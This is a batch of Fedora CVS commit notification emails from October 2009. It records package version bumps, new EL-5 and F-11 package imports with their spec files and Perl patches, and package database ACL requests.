Subject: rpms/anerley/devel .cvsignore, 1.5, 1.6 anerley.spec, 1.9,
	1.10 sources, 1.5, 1.6
Message-ID: <20091010185301.20E6211C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anerley/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19980

Modified Files:
	.cvsignore anerley.spec sources 
Log Message:
- New upstream 0.1.5 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	30 Sep 2009 10:13:21 -0000	1.5
+++ .cvsignore	10 Oct 2009 18:53:00 -0000	1.6
@@ -1 +1 @@
-anerley-0.1.4.tar.bz2
+anerley-0.1.5.tar.bz2


Index: anerley.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/devel/anerley.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- anerley.spec	30 Sep 2009 10:13:21 -0000	1.9
+++ anerley.spec	10 Oct 2009 18:53:00 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           anerley
-Version:        0.1.4
+Version:        0.1.5
 Release:        1%{?dist}
 Summary:        Moblin widgets for people information
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.5-1
+- New upstream 0.1.5 release
+
 * Wed Sep 30 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.4-1
 - New upstream 0.1.4 release, drop upstreamed MC5 patches
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	30 Sep 2009 10:13:21 -0000	1.5
+++ sources	10 Oct 2009 18:53:00 -0000	1.6
@@ -1 +1 @@
-569a7dc19efce61f1cb703f1d94416c7  anerley-0.1.4.tar.bz2
+ee19b597fd214e4afd1614a0b00a44db  anerley-0.1.5.tar.bz2



From pbrobinson at fedoraproject.org  Sat Oct 10 18:55:09 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 18:55:09 +0000 (UTC)
Subject: rpms/moblin-panel-people/devel .cvsignore, 1.3,
	1.4 moblin-panel-people.spec, 1.5, 1.6 sources, 1.3, 1.4
Message-ID: <20091010185509.E986B11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-people/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20302

Modified Files:
	.cvsignore moblin-panel-people.spec sources 
Log Message:
- New upstream 0.0.4 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Sep 2009 10:20:52 -0000	1.3
+++ .cvsignore	10 Oct 2009 18:55:09 -0000	1.4
@@ -1 +1 @@
-moblin-panel-people-0.0.3.tar.bz2
+moblin-panel-people-0.0.4.tar.bz2


Index: moblin-panel-people.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/moblin-panel-people.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- moblin-panel-people.spec	30 Sep 2009 10:20:52 -0000	1.5
+++ moblin-panel-people.spec	10 Oct 2009 18:55:09 -0000	1.6
@@ -1,5 +1,5 @@
 Name:           moblin-panel-people
-Version:        0.0.3
+Version:        0.0.4
 Release:        1%{?dist}
 Summary:        Moblin Panel for People
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.4-1
+- New upstream 0.0.4 release
+
 * Wed Sep 30 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.3-1
 - New upstream 0.0.3 release, drop upstreamed MC5 patches
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Sep 2009 10:20:53 -0000	1.3
+++ sources	10 Oct 2009 18:55:09 -0000	1.4
@@ -1 +1 @@
-082697fc4904a763487e0d508630d615  moblin-panel-people-0.0.3.tar.bz2
+1e09b8d77d562a110bed85e4701c608a  moblin-panel-people-0.0.4.tar.bz2



From pbrobinson at fedoraproject.org  Sat Oct 10 19:00:16 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 19:00:16 +0000 (UTC)
Subject: rpms/moblin-panel-myzone/devel .cvsignore, 1.6,
	1.7 moblin-panel-myzone.spec, 1.6, 1.7 sources, 1.6, 1.7
Message-ID: <20091010190016.54EB711C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-myzone/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21697

Modified Files:
	.cvsignore moblin-panel-myzone.spec sources 
Log Message:
- New upstream 0.0.9 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	7 Oct 2009 11:04:15 -0000	1.6
+++ .cvsignore	10 Oct 2009 19:00:15 -0000	1.7
@@ -1 +1 @@
-moblin-panel-myzone-0.0.7.tar.bz2
+moblin-panel-myzone-0.0.9.tar.bz2


Index: moblin-panel-myzone.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/moblin-panel-myzone.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- moblin-panel-myzone.spec	7 Oct 2009 11:04:15 -0000	1.6
+++ moblin-panel-myzone.spec	10 Oct 2009 19:00:16 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           moblin-panel-myzone
-Version:        0.0.7
+Version:        0.0.9
 Release:        1%{?dist}
 Summary:        Moblin Panel for MyZone
 
@@ -78,6 +78,9 @@ rm -rf %{buildroot}
 %{_libdir}/libpenge.so
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.9-1
+- New upstream 0.0.9 release
+
 * Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
 - New upstream 0.0.7 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	7 Oct 2009 11:04:15 -0000	1.6
+++ sources	10 Oct 2009 19:00:16 -0000	1.7
@@ -1 +1 @@
-6dd3777f4d139c6dd5dad5c15475668d  moblin-panel-myzone-0.0.7.tar.bz2
+f42e755d7a4eb6499db13ed4268f3dd4  moblin-panel-myzone-0.0.9.tar.bz2



From pbrobinson at fedoraproject.org  Sat Oct 10 19:11:29 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 19:11:29 +0000 (UTC)
Subject: rpms/moblin-panel-myzone/F-12 .cvsignore, 1.6,
	1.7 moblin-panel-myzone.spec, 1.6, 1.7 sources, 1.6, 1.7
Message-ID: <20091010191129.8A8DC11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-myzone/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25172

Modified Files:
	.cvsignore moblin-panel-myzone.spec sources 
Log Message:
- New upstream 0.0.8 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	7 Oct 2009 12:28:28 -0000	1.6
+++ .cvsignore	10 Oct 2009 19:11:29 -0000	1.7
@@ -1 +1 @@
-moblin-panel-myzone-0.0.7.tar.bz2
+moblin-panel-myzone-0.0.8.tar.bz2


Index: moblin-panel-myzone.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/F-12/moblin-panel-myzone.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- moblin-panel-myzone.spec	7 Oct 2009 12:28:28 -0000	1.6
+++ moblin-panel-myzone.spec	10 Oct 2009 19:11:29 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           moblin-panel-myzone
-Version:        0.0.7
+Version:        0.0.8
 Release:        1%{?dist}
 Summary:        Moblin Panel for MyZone
 
@@ -78,6 +78,9 @@ rm -rf %{buildroot}
 %{_libdir}/libpenge.so
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.8-1
+- New upstream 0.0.8 release
+
 * Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
 - New upstream 0.0.7 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	7 Oct 2009 12:28:28 -0000	1.6
+++ sources	10 Oct 2009 19:11:29 -0000	1.7
@@ -1 +1 @@
-6dd3777f4d139c6dd5dad5c15475668d  moblin-panel-myzone-0.0.7.tar.bz2
+d60a1bdc63a792be18040f93ac56fce0  moblin-panel-myzone-0.0.8.tar.bz2



From sdz at fedoraproject.org  Sat Oct 10 19:11:46 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 19:11:46 +0000 (UTC)
Subject: rpms/python-oauth/EL-5 import.log, NONE, 1.1 python-oauth.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010191146.3E2AD11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-oauth/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25245/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-oauth.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-oauth-1_0_1-1_fc11:EL-5:python-oauth-1.0.1-1.fc11.src.rpm:1255201884


--- NEW FILE python-oauth.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-oauth
Version:        1.0.1
Release:        1%{?dist}
Summary:        Library for OAuth version 1.0a

Group:          Development/Languages
License:        MIT
URL:            http://code.google.com/p/oauth/
Source0:        http://pypi.python.org/packages/source/o/oauth/oauth-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel

%description
Library for OAuth version 1.0a.


%prep
%setup -q -n oauth-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE.txt
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-oauth/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:53:29 -0000	1.1
+++ .cvsignore	10 Oct 2009 19:11:46 -0000	1.2
@@ -0,0 +1 @@
+oauth-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-oauth/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:53:29 -0000	1.1
+++ sources	10 Oct 2009 19:11:46 -0000	1.2
@@ -0,0 +1 @@
+30ed3cc8c11d7841a89feab437aabf81  oauth-1.0.1.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 19:16:33 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 19:16:33 +0000 (UTC)
Subject: rpms/django-flash/EL-5 django-flash.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010191633.B159011C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/django-flash/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26633/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	django-flash.spec import.log 
Log Message:
initial import



--- NEW FILE django-flash.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           django-flash
Version:        1.6.2
Release:        2%{?dist}
Summary:        A Django extension to provide support for Rails-like flash

Group:          Development/Languages
License:        BSD
URL:            http://djangoflash.destaquenet.com/
Source0:        http://pypi.python.org/packages/source/d/%{name}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django

%description
A simple Django extension that provides support for Rails-like flash messages.

The flash is a temporary storage mechanism that looks like a Python
dictionary, so you can store values associated with keys and later retrieve
them. It has one special property: by default, values stored into the flash
during the processing of a request will be available during the processing
of the immediately following request. Once that second request has been
processed, those values are removed automatically from the storage.


%prep
%setup -q


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitelib}/djangoflash/tests/testproj/manage.py


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS LICENSE README
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-2
- remove unneeeded BRs

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-1
- initial packaging


--- NEW FILE import.log ---
django-flash-1_6_2-2_fc11:EL-5:django-flash-1.6.2-2.fc11.src.rpm:1255202152


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/django-flash/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:54:31 -0000	1.1
+++ .cvsignore	10 Oct 2009 19:16:33 -0000	1.2
@@ -0,0 +1 @@
+django-flash-1.6.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/django-flash/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:54:31 -0000	1.1
+++ sources	10 Oct 2009 19:16:33 -0000	1.2
@@ -0,0 +1 @@
+55888998683177c6b95e94b4a200a0f2  django-flash-1.6.2.tar.gz



From caolanm at fedoraproject.org  Sat Oct 10 19:40:02 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sat, 10 Oct 2009 19:40:02 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-2.3.0.ooo76649.httpencoding.patch, 1.2, 1.3
Message-ID: <20091010194002.0694A11C02A0@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1696

Modified Files:
	openoffice.org-2.3.0.ooo76649.httpencoding.patch 
Log Message:
fix openoffice.org-2.3.0.ooo76649.httpencoding.patch

openoffice.org-2.3.0.ooo76649.httpencoding.patch:
 sc/source/filter/html/htmlpars.cxx |   46 +------------------------------------
 sfx2/source/bastyp/sfxhtml.cxx     |   23 +++++++++++++++++-
 svx/source/editeng/eehtml.cxx      |    3 --
 sw/source/filter/html/swhtml.cxx   |    8 ++----
 4 files changed, 28 insertions(+), 52 deletions(-)

Index: openoffice.org-2.3.0.ooo76649.httpencoding.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-2.3.0.ooo76649.httpencoding.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openoffice.org-2.3.0.ooo76649.httpencoding.patch	10 Oct 2009 15:48:45 -0000	1.2
+++ openoffice.org-2.3.0.ooo76649.httpencoding.patch	10 Oct 2009 19:40:01 -0000	1.3
@@ -134,7 +134,7 @@ diff -u -r1.17 sfxhtml.cxx
 +			aContentType.AppendAscii( pCharSet );
 +
 +			xValues = new SvKeyValueIterator;
-+			xValues->Append( SvKeyValue( String::CreateFromAscii( sHTML_META_content_type ), aContentType ) );
++			xValues->Append( SvKeyValue( String::CreateFromAscii( OOO_STRING_SVTOOLS_HTML_META_content_type ), aContentType ) );
 +			pHTTPHeader = xValues;
 +		}
 +	}



From pkgdb at fedoraproject.org  Sat Oct 10 19:40:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 19:40:26 +0000
Subject: [pkgdb] octaviz: chitlesh has requested watchbugzilla
Message-ID: <20091010194026.301BE10F895@bastion2.fedora.phx.redhat.com>

chitlesh has requested the watchbugzilla acl on octaviz (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/octaviz



From pkgdb at fedoraproject.org  Sat Oct 10 19:40:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 19:40:25 +0000
Subject: [pkgdb] octaviz: chitlesh has requested watchcommits
Message-ID: <20091010194025.ED75A10F880@bastion2.fedora.phx.redhat.com>

chitlesh has requested the watchcommits acl on octaviz (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/octaviz



From pkgdb at fedoraproject.org  Sat Oct 10 19:40:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 19:40:26 +0000
Subject: [pkgdb] octaviz: chitlesh has requested commit
Message-ID: <20091010194026.76AC210F8A4@bastion2.fedora.phx.redhat.com>

chitlesh has requested the commit acl on octaviz (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/octaviz



From pkgdb at fedoraproject.org  Sat Oct 10 19:40:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 19:40:29 +0000
Subject: [pkgdb] octaviz: chitlesh has requested approveacls
Message-ID: <20091010194029.3A9DA10F8AB@bastion2.fedora.phx.redhat.com>

chitlesh has requested the approveacls acl on octaviz (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/octaviz



From pkgdb at fedoraproject.org  Sat Oct 10 19:40:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 19:40:38 +0000
Subject: [pkgdb] qtoctave: chitlesh has requested watchcommits
Message-ID: <20091010194038.C00A310F84D@bastion2.fedora.phx.redhat.com>

chitlesh has requested the watchcommits acl on qtoctave (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtoctave



From pkgdb at fedoraproject.org  Sat Oct 10 19:40:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 19:40:38 +0000
Subject: [pkgdb] qtoctave: chitlesh has requested commit
Message-ID: <20091010194038.F136810F894@bastion2.fedora.phx.redhat.com>

chitlesh has requested the commit acl on qtoctave (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtoctave



From pkgdb at fedoraproject.org  Sat Oct 10 19:40:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 19:40:42 +0000
Subject: [pkgdb] qtoctave: chitlesh has requested approveacls
Message-ID: <20091010194042.83C7C10F84D@bastion2.fedora.phx.redhat.com>

chitlesh has requested the approveacls acl on qtoctave (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtoctave



From pkgdb at fedoraproject.org  Sat Oct 10 19:40:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 19:40:44 +0000
Subject: [pkgdb] qtoctave: chitlesh has requested watchbugzilla
Message-ID: <20091010194044.C4D1710F894@bastion2.fedora.phx.redhat.com>

chitlesh has requested the watchbugzilla acl on qtoctave (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtoctave



From rdieter at fedoraproject.org  Sat Oct 10 19:45:51 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 19:45:51 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.344,1.345
Message-ID: <20091010194551.1F41C11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3076

Modified Files:
	qt.spec 
Log Message:
forward port rhel-cleanup bits from F-12/ branch



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.344
retrieving revision 1.345
diff -u -p -r1.344 -r1.345
--- qt.spec	10 Oct 2009 14:19:55 -0000	1.344
+++ qt.spec	10 Oct 2009 19:45:49 -0000	1.345
@@ -110,11 +110,13 @@ Source31: hi48-app-qt4-logo.png
 %define psql -plugin-sql-psql
 %define sqlite -plugin-sql-sqlite
 %define phonon -phonon
-# if building with -phonon, define to internal version (ie, Obsolete external phonon)
-#define phonon_internal 1
 %define phonon_backend -phonon-backend
+%if 0%{?rhel}
+# if building with -phonon, define to internal version (ie, Obsolete external phonon)
+%define phonon_internal 1
 # if -phonon-backend, include in packaging (else it's omitted)
-#define phonon_backend_packaged 1
+%define phonon_backend_packaged 1
+%endif
 %define phonon_version 4.3.1
 %define phonon_version_major 4.3
 %define phonon_release 100
@@ -970,6 +972,7 @@ fi
 %changelog
 * Sat Oct 10 2009 Than Ngo <than at redhat.com> - 4.5.3-4
 - fix translation build issue
+- rhel cleanup
 
 * Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.3-3
 - disable JavaScriptCore JIT, SE Linux crashes (#527079)



From chitlesh at fedoraproject.org  Sat Oct 10 19:53:17 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sat, 10 Oct 2009 19:53:17 +0000 (UTC)
Subject: rpms/wb_builder/F-11 import.log, NONE, 1.1 wb_builder-args.patch,
	NONE, 
	1.1 wb_builder-strict-warnings.patch, NONE, 1.1 wb_builder.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010195317.64D7011C00DB@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/wb_builder/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4460/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log wb_builder-args.patch 
	wb_builder-strict-warnings.patch wb_builder.spec 
Log Message:
new package




--- NEW FILE import.log ---
wb_builder-1_0_3-2_fc11:F-11:wb_builder-1.0.3-2.fc11.src.rpm:1255204327

wb_builder-args.patch:
 wishbone.pl |   27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

--- NEW FILE wb_builder-args.patch ---
--- wishbone.pl	2009-08-30 11:36:15.520240129 +0200
+++ wishbone.pl_mod	2009-09-03 07:01:29.148541129 +0200
@@ -191,6 +191,7 @@
 };
 
 sub read_defines {
+my $arg = @ARGV;
 $priority=0;
 $masters=0;
 $slaves=0;
@@ -225,10 +226,10 @@
   if ($a =~ /^(interconnect)( *)(=)( *)(crossbarswitch|sharedbus)(;?)$/) {
     $interconnect = $5; }
 
-  if ($a =~ /^(signal_groups)( *)(=)( *)([0-1])(;?)($*)/) {
+  if ($a =~ /^(signal_groups)( *)(=)( *)([0-1])(;?)($arg)/) {
     $signal_groups = $5; };
 
-  if ($a =~ /^(use_cyc_sel)( *)(=)( *)([0-1])(;?)($*)/) {
+  if ($a =~ /^(use_cyc_sel)( *)(=)( *)([0-1])(;?)($arg)/) {
     $use_cyc_sel = $5; };
 
   if ($a =~ /^(mux_type)( *)(=)( *)(mux|andor|tristate)(;?)$/) {
@@ -237,7 +238,7 @@
   if ($a =~ /^(optimize)( *)(=)( *)(speed|area);?$/) {
     $optimize = $5; };
 
-  if ($a =~ /^(dat_size|adr_size|tgd_bits|tga_bits|tgc_bits|granularity)( *)(=)( *)([0-9]+)(;?)($*)/) {
+  if ($a =~ /^(dat_size|adr_size|tgd_bits|tga_bits|tgc_bits|granularity)( *)(=)( *)([0-9]+)(;?)($arg)/) {
     $dat_size    = $5 if $1 eq 'dat_size';
     $adr_size    = $5 if $1 eq 'adr_size';
     $tgd_bits    = $5 if $1 eq 'tgd_bits';
@@ -246,20 +247,20 @@
     $granularity = $5 if $1 eq 'granularity';
   };
 
-  if ($a =~ /^(rename)(_)(tga|tgc|tgd)( *)(=)( *)([a-zA-Z_-]+)(;?)($*)/) {
+  if ($a =~ /^(rename)(_)(tga|tgc|tgd)( *)(=)( *)([a-zA-Z_-]+)(;?)($arg)/) {
     if ($3 eq "tga"){$rename_tga=$7};
     if ($3 eq "tgc"){$rename_tgc=$7};
     if ($3 eq "tgd"){$rename_tgd=$7};
   };
 
   # master port setup
-  if ($a =~ /^(master)( *)([A-Za-z0-9_-]+)($*)/) {
+  if ($a =~ /^(master)( *)([A-Za-z0-9_-]+)($arg)/) {
     if($1 eq "master") {
       master_init($3);
     };
     $a = <FILE>;
-    until ($a =~ /^(end master)($*)/) {
-      if ($a =~ /^( *)(dat_size|adr_o_hi|adr_o_lo|lock_o|err_i|rty_i|tga_o|tgc_o|priority)( *)(=)( *)(0x)?([0-9a-fA-F]*)(;?)($*)/) {
+    until ($a =~ /^(end master)($arg)/) {
+      if ($a =~ /^( *)(dat_size|adr_o_hi|adr_o_lo|lock_o|err_i|rty_i|tga_o|tgc_o|priority)( *)(=)( *)(0x)?([0-9a-fA-F]*)(;?)($arg)/) {
         $master[$masters]{"$2"}=$7;
         if (($2 eq "rty_i") && ($7 == 1)) {
           $rty_i++; };
@@ -273,23 +274,23 @@
         if ($2 eq "priority") {
           $priority += $7; };
       }; #end if
-      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($*)/) {
+      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($arg)/) {
         $master[$masters]{"$2"}=$6; };
       # priority for crossbarswitch
-      if ($a =~ /^( *)(priority)(_)([0-9a-zA-Z_]*)( *)(=)( *)([0-9]*)(;?)($*)/) {
+      if ($a =~ /^( *)(priority)(_)([0-9a-zA-Z_]*)( *)(=)( *)([0-9]*)(;?)($arg)/) {
         $master[$masters]{("priority_"."$4")}=$8; };
       $a = <FILE>;
     };
   };
 
   # slave port setup
-  if ($a =~ /^(slave)( *)([A-Za-z0-9_-]+)($*)/) {
+  if ($a =~ /^(slave)( *)([A-Za-z0-9_-]+)($arg)/) {
     if ($1 eq "slave") {
       slave_init($3);
     };
     $a = <FILE>;
-    until ($a =~ /^(end slave)($*)/) {
-      if ($a =~ /^( *)(dat_i|dat_o|sel_i|adr_i_hi|adr_i_lo|lock_i|tga_i|tgc_i|err_o|rty_o|baseadr|size|baseadr1|size1|baseadr2|size2|baseadr3|size3|cyc_i)( *)(=)( *)(0x)?([0-9a-fA-F]+)(;?)($*)/) {
+    until ($a =~ /^(end slave)($arg)/) {
+      if ($a =~ /^( *)(dat_i|dat_o|sel_i|adr_i_hi|adr_i_lo|lock_i|tga_i|tgc_i|err_o|rty_o|baseadr|size|baseadr1|size1|baseadr2|size2|baseadr3|size3|cyc_i)( *)(=)( *)(0x)?([0-9a-fA-F]+)(;?)($arg)/) {
         $slave[$slaves]{"$2"}=$7;
         if (($2 eq "rty_o") && ($7 == 1)) {
           $rty_o++; };
@@ -300,7 +301,7 @@
         if (($2 eq "tga_i") && ($7 == 1)) {
           $tga_i++; };
       }; #end if
-      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($*)/) {
+      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($arg)/) {
         $slave[$slaves]{"$2"}=$6; };
       $a = <FILE>;
     };

wb_builder-strict-warnings.patch:
 wishbone.pl |   44 +++++++++++++++++++++++++++++++++-----------
 1 file changed, 33 insertions(+), 11 deletions(-)

--- NEW FILE wb_builder-strict-warnings.patch ---
--- wishbone.pl~	2006-11-28 01:22:43.000000000 +0530
+++ wishbone.pl	2009-08-29 22:32:53.684609104 +0530
@@ -66,21 +66,24 @@
 use Time::Local;
 use Getopt::Long;
 
+use strict;
+use warnings;
+
 # description: users manual
 
 my $version='1.0.3';
 my $infile = "wishbone.defines";
-my $outfile = wb;
+my $outfile = "wb";
 
 my $a;
 my $i=0;
 my $j=0;
 
 # default settings
-my $syscon=syscon;
-my $intercon=intercon;
+my $syscon="syscon";
+my $intercon="intercon";
 my $target="generic";
-my $hdl=vhdl;
+my $hdl="vhdl";
 my $ext=".vhd";
 my $signal_groups=0;
 my $comment="--";
@@ -121,7 +124,24 @@
 my $amp=0;
 my $asp=0;
 my $del=0;
-my $i;
+#my $i;
+
+my @master;
+my @slave;
+my $frame;
+my $c;
+my $am;
+my $ind;
+my $tmp;
+my $depend;
+my $l;
+my $only_master;
+my $k;
+my $noGUI;
+my $genHeader;
+my $help;
+my $file = "";
+my $tmp1;
 
 # open input file
 #if (open(FILE,"<$file")) {
@@ -804,7 +824,8 @@
